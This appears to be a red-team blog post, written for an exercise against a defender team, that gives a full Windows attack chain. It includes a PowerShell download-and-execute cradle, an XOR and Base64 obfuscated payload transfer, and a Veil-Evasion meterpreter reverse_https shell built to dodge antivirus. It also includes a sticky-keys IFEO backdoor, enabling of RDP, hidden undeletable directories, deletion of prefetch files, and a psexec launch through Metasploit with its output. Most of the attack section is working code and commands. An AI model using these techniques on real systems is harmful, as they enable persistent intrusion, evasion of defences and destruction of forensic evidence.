I am currently working on an inter-team exercise as a red teamer against a Network Defender / Forensic Analysis team and we are all trying to get as much out of this as possible. I am getting plenty as I have a huge playground to hone my abilities on, but I wanted to also give them something a different to look at / analyze. This led me to creating a little script or two in powershell to make their job harder / more interesting than the typical stuff. I took a few techniques ( sticky keys backdoor / windows path canonicalization ) to achieve the desired affect with a little powershell seasoning to make things interesting.
My ideas were as follows:
1. Create a dropper which will download an unknown payload which can be dynamically changed and removed from the attacker’s machine to prevent analysis of it by the network defenders.
2. Try to obfuscate any files being transferred over the net to prevent file carving / figuring out what was transferred over the net.
3. Prevent AV from catching the payload.
4. Try to make it hard for them to delete said payload if they DO manage to find it.
5. USE POWERSHELL!
So — To satisfy the first requirement, I simply used everyone’s favorite powershell cradle to download a script over the net and pass it into Invoke-Expression.
Easy enough. When you run this code, it’ll download “innocuousFileName” and execute the code within. So what is in the innocuousFileName file, you ask? Well, therein lies the magic.
$y = (new-object net.webclient).downloadstring("http://192.168.204.133/p33p.txt")
$y = [system.convert]::FromBase64String($y)
for ($i=0; $i -lt $y.count; $i++)
$y[$i] = $y[$i] -bxor 0x99
cmd.exe /c mkdir \\?\$env:TEMP\".. \. \"
cmd.exe /c copy $env:TEMP\a.exe \\?\$env:TEMP\45AA~1\a.exe
cmd.exe /c attrib +h $env:TEMP\45AA~1
cmd.exe /c attrib +h $env:TEMP\45AA~1\a.exe
cmd.exe /c REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d $env:TEMP\45AA~1\a.exe
cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /c del $env:TEMP\a.exe /q
cmd.exe /c del c:\windows\prefetch\* /q
In order of the lines of code, this script will download a Base64 encoded string/file from the server, which is located in a file called p33p.txt (don’t ask why I named it that), and store it in a variable called “y”. We will then loop through every byte of the file after decoding it from b64 into a byte array, and xor each byte by 0x99 (more on this later), at which point we copy it to disk in a file called “a.exe”. The next part is kind of nifty. Everyone should watch Own3d By Default by Mark Baggett when they are done here. Simply stated, if you create directories in the fashion that is shown in my script, it makes it very hard for defenders to access/delete said folders. If you try to browse to them from cmd it doesnt work (unless you use the short name of the directory), and if you try to delete the folder / files within the folder you get the following error:
It should be noted that I tried to create the folders using powershell cmdlets but it wouldn’t allow the \\?\ syntax to be used — hence the cmd.exe /c syntax. Also, the 45AA~1 is the short name given to the “..” directory. After that, we set up our registry to run our a.exe payload when someone tries to use the sethc.exe (hotkeys) executable, then we make sure RDP is allowed. Finally we delete our old a.exe in the temp directory and delete prefetch files to cover our tracks and hide our new directory/file. So all of this is well and good but it still begs the question — what is in our “p33p.txt” file???
It is a Veil-Evasion obfuscated meterpreter/reverse_https payload made via the following steps:
First fire up Veil-Evasion and list out our payloads that we can use.
Lets use python/shellcode_inject/aes_encrypt
Set use_pyherion to yes, to obfuscate our reverse shell.
Next we need to “generate” the payload.
Use the msfvenom option when it asks you how you want to specify your payload. In my case I used the reverse_https payload for that added bit of tradecraft. It will also ask you what you want to name your executable, in my case I used “a”.
Afterwards I check the “veil-output/compiled” folder to ensure that it created a valid Win32 PE file. Good to go!
Next I need to move my a.exe file over to my web directory so that I can pull it down via powershell on a test box, so that I can xor each byte to hide what my file really is and output in a format readable by powershell / base64 encoded. This is just in case they get a pcap of the transaction and use filecarving to check what was copied. If they do that, it will not come up as a valid PE file as the second portion of the powershell script deobfuscates it in memory on the target machine! ( Mind you this is not a perfect solution, you could poke holes in it if you want but this is merely to get the juices flowing in methods of making things harder for defenders! )
$z = (new-object net.webclient).downloaddata("http://192.168.204.133/a.exe")
for ($i=0;$i -lt $z.count;$i++)
$z[$i] = $z[$i] -bxor 0x99
[system.convert]::ToBase64String($z) | out-file .\desktop\p33p.txt
As you can see, this becomes our p33p.txt file that our powershell script downloads and writes as a.exe after it xors each byte by 0x99 to turn it into a valid PE file. At this point we should be able to simply run the IEX cradle to download our actual script and make our new malicious sticky keys file! I am going to use psexec to get the initial payload going but you could use many other methods, such as a malicious excel file perhaps?
I encode my cradle to be run in powershell using python first.
Python 2.7.3 (default, Mar 14 2014, 11:57:14)
[GCC 4.7.2] on linux2
>>> base64.b64encode('IEX((new-object net.webclient).downloadstring("http://192.168.204.133/cradle.ps1"))'.encode("utf-16-le"))
Then I set up my psexec options in metasploit, and let her fly.
msf auxiliary(psexec_command) > search psexec
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/smb/psexec_command normal Microsoft Windows Authenticated Administration Utility
auxiliary/admin/smb/psexec_ntdsgrab normal PsExec NTDS.dit And SYSTEM Hive Download Utility
auxiliary/scanner/smb/psexec_loggedin_users normal Microsoft Windows Authenticated Logged In Users Enumeration
exploit/windows/local/current_user_psexec 1999-01-01 excellent PsExec via Current User Token
exploit/windows/local/wmi 1999-01-01 excellent Windows Management Instrumentation (WMI) Remote Command Execution
exploit/windows/smb/psexec 1999-01-01 manual Microsoft Windows Authenticated User Code Execution
exploit/windows/smb/psexec_psh 1999-01-01 manual Microsoft Windows Authenticated Powershell Command Execution
msf auxiliary(psexec_command) > use auxiliary/admin/smb/psexec_command
msf auxiliary(psexec_command) > show options
Module options (auxiliary/admin/smb/psexec_command):
Name Current Setting Required Description
---- --------------- -------- -----------
COMMAND powershell.exe -nol -nop -win hidden -enc SQBFAFgAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIAMAA0AC4AMQAzADMALwBjAHIAYQBkAGwAZQAuAHAAcwAxACIAKQApAA== yes The command you want to execute on the remote host
RHOSTS 192.168.204.134 yes The target address range or CIDR identifier
RPORT 445 yes The Target port
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SMBDomain WORKGROUP no The Windows domain to use for authentication
SMBPass Password1 no The password for the specified username
SMBSHARE C$ yes The name of a writeable share on the server
SMBUser administrator no The username to authenticate as
THREADS 1 yes The number of concurrent threads
WINPATH WINDOWS yes The name of the remote Windows directory
msf auxiliary(psexec_command) >
msf auxiliary(psexec_command) > run
[*] 192.168.204.134:445 - Executing the command...
[+] 192.168.204.134:445 - Service start timed out, OK if running a command or non-service executable...
[*] checking if the file is unlocked
[*] 192.168.204.134:445 - Unable to get handle: The server responded with error: STATUS_SHARING_VIOLATION (Command=45 WordCount=0)
[*] 192.168.204.134:445 - Getting the command output...
[*] 192.168.204.134:445 - Command finished with no output
[*] 192.168.204.134:445 - Executing cleanup...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Finally for the moment of truth… Set up a multi handler to listen for the connection, rdesktop in to the target machine, click the “Ease of Access” button, select the sticky keys checkbox, then hit okay….
Also, if you really wanted to throw in a little more stealth you could C2 With Python, Powershell and Favicons…
Thanks for reading!